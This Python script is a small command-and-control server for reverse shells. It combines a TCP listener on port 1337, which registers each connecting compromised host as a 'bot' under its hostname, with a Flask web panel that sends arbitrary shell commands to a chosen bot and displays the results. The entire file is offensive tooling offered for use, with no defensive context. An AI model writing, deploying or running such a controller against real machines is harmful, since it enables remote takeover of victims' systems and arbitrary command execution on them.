#!/usr/bin/env python3
from socket import SOCK_STREAM, AF_INET, socket
from flask import Flask, request, render_template
from threading import Thread


SOCKET = None
app = Flask(__name__)
threads = []
bots = {}


@app.route('/')
def index():
    return render_template('index.j2', bots=bots.keys())


@app.route('/shell/<name>')
def shell(name):
    cmd = request.args.get('cmd')
    conn = bots.get(name)
    res = None
    if cmd and conn:
        conn.sendall(cmd.encode() + b'\n')
        res = conn.recv(4096).decode()[:-2].replace('\n', '<br/>')
    return render_template('shell.j2', name=name, res=res)


def thread(target, args=()):
    thread = Thread(target=target, args=args)
    threads.append(thread)
    thread.start()
    return thread


def listen():
    with socket(AF_INET, SOCK_STREAM) as sock:
        SOCKET = sock
        sock.bind(('0.0.0.0', 1337))
        sock.listen()
        while 'pwnd':
            conn, addr = sock.accept()
            thread(handle, (conn,))


def handle(conn):
    assert conn.recv(2) == b'$ '
    conn.sendall(b'hostname\n')
    hostname = conn.recv(255).split(b'\n')[0]
    bots[hostname.decode()] = conn


if __name__ == '__main__':
    try:
        thread(listen)
        app.run()
    except KeyboardInterrupt:
        SOCKET.close()